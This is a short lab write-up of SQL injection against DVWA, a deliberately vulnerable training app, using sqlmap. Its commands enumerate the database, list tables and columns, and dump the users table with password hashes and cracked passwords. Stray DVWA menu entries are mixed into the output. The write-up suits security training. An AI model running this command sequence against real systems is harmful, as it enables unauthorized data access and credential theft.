

SQLi POC

1) Run the command to find available database:

```
sqlmap -u 'http://10.48.190.231/vulnerabilities/sqlil/?id=1&Submit=Submit' -p id --cookie 'security=low; PHPSESSID=ltuj270ipck13jvn276eq0d843' --dbs --batch
```

2) find the tables in dvwa

```
sqlmap -u 'http://10.48.190.231/vulnerabilities/sqlil/?id=1&Submit=Submit' -p id --cookie 'security=low; PHPSESSID=ltuj270ipck13jvn276eq0d843' -D dvwa --tables --batch
```

```
[09:00:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL > 5.0
[09:00:02] [INFO] fetching tables for database: 'dvwa'
[09:00:02] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users      |
+-----+
[09:00:02] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.48.190.231'
[*] ending @ 09:00:02 /2026-01-02/
```

3) find the columns in **users** table

```
sqlmap -u 'http://10.48.190.231/vulnerabilities/sqlil/?id=1&Submit=Submit' -p id --cookie 'security=low; PHPSESSID=ltuj270ipck13jvn276eq0d843' -D dvwa -T users --columns --batch
```

```
[09:02:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL > 5.0
[09:02:15] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+-----+-----+
| Column   | Type    |
+-----+-----+
| user     | varchar(15) |
| avatar   | varchar(70)  |
| failed_login | int(3)   |
| first_name | varchar(15) |
| last_login  | timestamp |
| last_name   | varchar(15) |
| password   | varchar(32)  |
| user_id    | int(6)    |
+-----+-----+
```

4) Dump all the data available in the columns

```
sqlmap -u 'http://10.48.190.231/vulnerabilities/sqlil/?id=1&Submit=Submit' -p id --cookie 'security=low; PHPSESSID=ltuj270ipck13jvn276eq0d843' -D dvwa -T users --columns --dump --batch
```

Database: dvwa							
Table: users							
[5 entries]							
user_id	user	avatar	password	last_name	first_name	last_login	failed_login
1	admin	/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327de882cf99 (password)	admin	admin	2018-10-03 22:09:36	0
2	gordonb	/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon	2018-10-03 22:09:36	0
3	1337	/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fc69216b (charley)	Me	Hack	2018-10-03 22:09:36	0
4	pablo	/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo	2018-10-03 22:09:36	0
5	smithy	/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327de882cf99 (password)	Smith	Bob	2018-10-03 22:09:36	0

Insecure CAPTCHA
Weak or random IDs
XSS (Direct)
XSS (Reflected)
XSS (Stored)
CSRF bypass
JavaScript
DVWA Security

[09:05:00] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.48.190.231/dump/dvwa/users.csv'
[09:05:00] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.48.190.231'
[*] ending @ 09:05:00 /2026-01-02/